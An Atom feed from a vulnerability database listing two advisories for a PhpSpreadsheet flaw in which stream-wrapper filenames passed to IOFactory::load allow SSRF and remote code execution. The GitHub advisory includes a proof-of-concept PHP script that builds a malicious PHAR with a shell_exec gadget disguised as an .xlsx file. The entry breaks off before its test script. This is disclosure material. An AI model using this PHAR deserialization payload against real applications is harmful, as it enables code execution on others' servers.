<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-01T17:57:53.165150+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/cve-2026-34084</id>
    <title>CVE-2026-34084 — PhpSpreadsheet SSRF and RCE via PHP stream wrappers in IOFactory::load</title>
    <updated>2026-10-01T17:57:53.167417+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PHPOffice PhpSpreadsheet</p>
<p>PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the is_file() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/cve-2026-34084"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-q4q6-r8wh-5cgh</id>
    <title>GHSA-q4q6-r8wh-5cgh — PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled</title>
    <updated>2026-10-01T17:57:53.167486+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Packagist: phpoffice/phpspreadsheet</p>
<p>The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.
The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.</p>
<p>This results in a SSRF, at "best", and RCE at worse.</p>
<p>This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).</p>
<p>## PoC
To reproduce the vulnerable behavior, the following scripts were used:</p>
<p>`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
```ini
phar.readonly=0
```</p>
<p>`make_phar.php` to create the malicious file:
```php
&lt;?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this-&gt;data = $d;
    }
    function __destruct() {
        shell_exec($this-&gt;data);
    }
}</p>
<p>$pop = new GadgetClass('touch /tmp/poc.txt');</p>
<p>$phar = new Phar('exploit.phar');
$phar-&gt;startBuffering();
$phar-&gt;setStub('&lt;?php __HALT_COMPILER(); ?&gt;');
$phar-&gt;addFromString('whatever', 'dummy content');
$phar-&gt;setMetadata($pop);
$phar-&gt;stopBuffering();</p>
<p>rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";</p>
<p>```</p>
<p>`test.php` showcases the unsafe pattern:
```php
&lt;?php
require '…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-q4q6-r8wh-5cgh"/>
  </entry>
</feed>
